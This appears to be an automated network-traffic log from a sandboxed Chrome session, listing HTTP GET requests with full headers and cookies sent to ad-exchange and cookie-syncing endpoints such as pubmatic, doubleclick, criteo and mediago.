Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: checkForPermission=ok
Source: global traffic	HTTP traffic detected: GET /js/template/style/style_banner_7fb70a.css HTTP/1.1Host: cdn.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=cabe22d6-b00f-11ee-b20f-088496e42def HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /us?gdpr=0&gdpr_consent=&gpp_sid=&gpp=&loc=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dson%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%5BUID%5D%26axid_e%3D HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __uis=34d855fd-fbdc-4f5b-9260-4fff223b8b66; HAPLB8G=s86156\|ZZ8n2
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive/check?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&ssp_user_id=3479308330180239000V10 HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=9e0a35ea-c8e3-4b1b-9efa-4af6f54a373e&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&r=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
Source: global traffic	HTTP traffic detected: GET /getuid?gdpr=0&cmp_cs=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.html%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dtlt%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%24UID%26axid_e%3D HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3631141743957125218505
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&xid=y-QoGBxapE2uVcxYncQGfqtzmJ2fkSj78-~A&gdpr=0 HTTP/1.1Host: image4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
Source: global traffic	HTTP traffic detected: GET /user-sync/redirect?profile=73&gdprapplies=0&gdpr=&gpp=&gpp_sid= HTTP/1.1Host: ssp-sync.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCIr75Nm2j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgASgCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /pixel?a=0&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dsov%26ovsid%3D%24UID%26axid_e%3D HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFCc20wN0xQbEFBQUJNTExvbGRZZw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Csyn%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13
Source: global traffic	HTTP traffic detected: GET /xuid?ld=1&mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3631141743957125218505
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU4RENBRkE0MUM0&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dapx%26ovsid%3D%24UID%26axid_e%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /visitor/bsync?uid=4534c002537f77c2f55cc45a7f5f4c52&name=YAHOO&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&url=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dayl%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%5BUSERID%5D%26axid_e%3D HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync?type=g&cs=8&google_gid=CAESEE-LbdqTsHKcksq6UKuBoDI&google_cver=1 HTTP/1.1Host: cs.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8
Source: global traffic	HTTP traffic detected: GET /js/cookieSync.html?tn=41b6e88a2b85b0e731ef8e73e5558712 HTTP/1.1Host: cdn.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ju/ic?tn=41b6e88a2b85b0e731ef8e73e5558712&trackingid=04a631c1403c686257d99a5a93eaf1a7&acid=402&data=AVl65Pzp_6_uiIHQCSzGHRxmbn6afL7LgP51GxiYlbNt2Wod9wvV5l7C0NSo0S6vLHwehqJ3oBr0eKOvHIYwK5sdBlaScNbz2xFghufKZeC1Icm1yfqJUgtjDZVCuInqG2GV1mCjPltbzWuTPclwX42yn83cs5uU3EGnHzTyVqXtwNTipmAokTH-8Muj9pzcxe6MSJ33uGBNX-BAidY8LOL3S-A1ZlTz7rdIywh8bItLy93VPWcoum5xx2XY9MIH0IDAgHNzj-ZYPDnK0SuqTFzAbNTiqWoOBBCV4IQFFPZ5tPABn16fIzPBtdlfZiJA0G1YpOhOXckPM3HkuH-DlP9o-y1zlQAFCJJo8LLj_vQ3ccfwUkUA1FPYJVYlASkSrBHSybu2odK6_kfMKv2lFJZCieXBMDco-hOh8lCdsMYEJJpFjGZbWw1eqMjQapmb4pCgArtYfx1mWdCCgpKvhkqvrgVZTlCrEkVxHrmI50x0LWioxQwFusOricXD8gC4i_vKWI5sGHLYr7P8uTQCPOlhpimfwtiXhtt0FjPJzwgrjRmrSRzjIKdZ1HsS2WfsZuqWIUWlFVQN46HsSGcnAitDf2m5jTgLDJJi_O0yzP0i2cqlTb89kbqBV-wvMzwIhcTw1af3ibljbziaOMBshzd7wiIhnG8oyBikTowztIDMT8N7iIYBgh-0nG-17PutmP4w6_dsEb11BJyKawnlTOFST95bCI-MSVzNI_rQeuyoeDIkNOhi13uRzWP9glpwMWwJOnFTAP6A0zvtJ54Myq1An9WoLgLgrTLqIgDsQRIEURD92zOxx4eGmyAYydVtpgDmZFot65b8fDT4RFQ0Q5QTtwX0VzAe3ScGMOlLx3dB0HmGvc8JUxgNNxWCDxRh1BZUSeE_uQB7rX3081zJVpVYJ9_FFryFPTCxN2EVFrmKmCjyeEAPSg_vSnRiADhvJj4l__CdApNdkl0_sDV9L3eEfdUF_3mdBBMrA0p3_ol4uJZ0Q74cON9TNl7S1_bfmk9tfqR8NKZS2zCkQozrDvB2BEJnMqwyDZNbboIKYB8W-ZKFHcoYGpKK8Bay5uMQvfRuUKV9CA_4qzzHGNV9RJzhl6atcfbILayqp42BbmBJqMCmmSlUsEdpgcfFshNpajFhB4sh2tLaInJHD9futPsfltTZ2qd9rKzphimuQsMLTxx5ANMu-fs6LTHhN1x5r96V51abyPBFi1FH7fL7V59a6nmOJhvqFFCpDGFKIJgGEKGPbgVnYnfoiPgcop3jN5hIXfjEeeoRdBG9VihoRf4Q_yhM3L_KuFk5IxtVJHd1AFuYzQnTrQ5Pf1r3N7s_AsBDwDCSlWOBPCUgY57sKozzFGLKsDgOd_Wz_yzMxgbdQpXUfIYRGcHHanZJS0oMOWE0KCuemzE3pT5RiUoQInLO8Jzom3V46WgVbxKgDqJ_cILKBei9Bfbd6xgeuqmQ3pgmPHy-4PPU9ETonKhjjNHQe8ByGKni8dFnw16YnALoze5l_vRch-nxDRBvkEWCTnS1AgTD-4EA2xNlA8lzib3ZZ8uO55BMaAPXpME7qXNQyyywlntQ3VasUHbRvive7nRUXFNW8gyobKQGi6M52T7u6UtrvljO03WzL4QtK5xCF5myTfZvvuEL4ATqNB1_4C41p2haKi0uw1vQgoI3RKbXpMhvvbX2jDci7-lZ4iw&uid=mid_ce9cde3a1c0e7f4e848e475cb97e8336&mguid=&ap={AUCTION_PRICE}&tid=3 HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Ddxu%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=medianet&ssp_user_id=3479308330180239000V10 HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=20ed5203-3644-4449-ae7b-5e053499d8b1; c=1704929237; tuuid_lu=1704929237
